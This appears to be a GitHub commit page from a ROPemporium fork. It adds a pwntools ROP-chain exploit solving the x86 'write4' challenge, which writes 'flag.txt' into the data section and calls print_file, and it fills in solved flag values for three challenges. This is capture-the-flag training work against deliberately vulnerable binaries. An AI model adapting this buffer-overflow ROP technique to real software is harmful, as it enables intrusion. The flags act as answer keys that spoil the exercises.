forked from 0xSoEasY/ROPemporium
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Solving 3-write4 in x86 + x86 flags refacto
- Loading branch information
Showing
5 changed files
with
46 additions
and
3 deletions.
There are no files selected for viewing
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1 @@ | ||
ROPE{a_placeholder_32byte_flag!} | ||
ROPE{ret2win_in_x86_eip_save} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1 @@ | ||
ROPE{a_placeholder_32byte_flag!} | ||
ROPE{split_ret2libc_in_x86} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1 @@ | ||
ROPE{a_placeholder_32byte_flag!} | ||
ROPE{WR1t34_in_x86_data_section} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
from pwn import * | ||
|
||
BINARY = "./write432" | ||
ELF = ELF(BINARY) | ||
|
||
context.os = "linux" | ||
context.arch = "i386" | ||
context.binary = BINARY | ||
|
||
p = process(BINARY) | ||
|
||
pop2ret = 0x080485aa | ||
mov_ptr_edi_ebp = 0x08048543 # mov DWORD PTR [edi], ebp ; ret | ||
data_adr = 0x0804A018 | ||
|
||
rop = b"A" * 44 | ||
|
||
# Writing "flag.txt" in data/bss section | ||
rop += p32(pop2ret) | ||
rop += p32(data_adr) | ||
rop += b"flag" | ||
rop += p32(mov_ptr_edi_ebp) | ||
|
||
rop += p32(pop2ret) | ||
rop += p32(data_adr+4) | ||
rop += b".txt" | ||
rop += p32(mov_ptr_edi_ebp) | ||
|
||
#rop += p32(pop2ret) | ||
#rop += p32(data_adr+8) | ||
#rop += p32(0) # "\0\0\0\0" | ||
#rop += p32(mov_ptr_edi_ebp) | ||
|
||
# Returnin to print_file | ||
rop += p32(ELF.symbols['print_file']) | ||
rop += p32(pop2ret) | ||
rop += p32(data_adr) | ||
|
||
p.sendline(rop) | ||
log.success(f"ROPchain = {rop}") | ||
|
||
flag = p.recvall().split(b'\n')[-2] | ||
log.success(f"FLAG : {flag}") |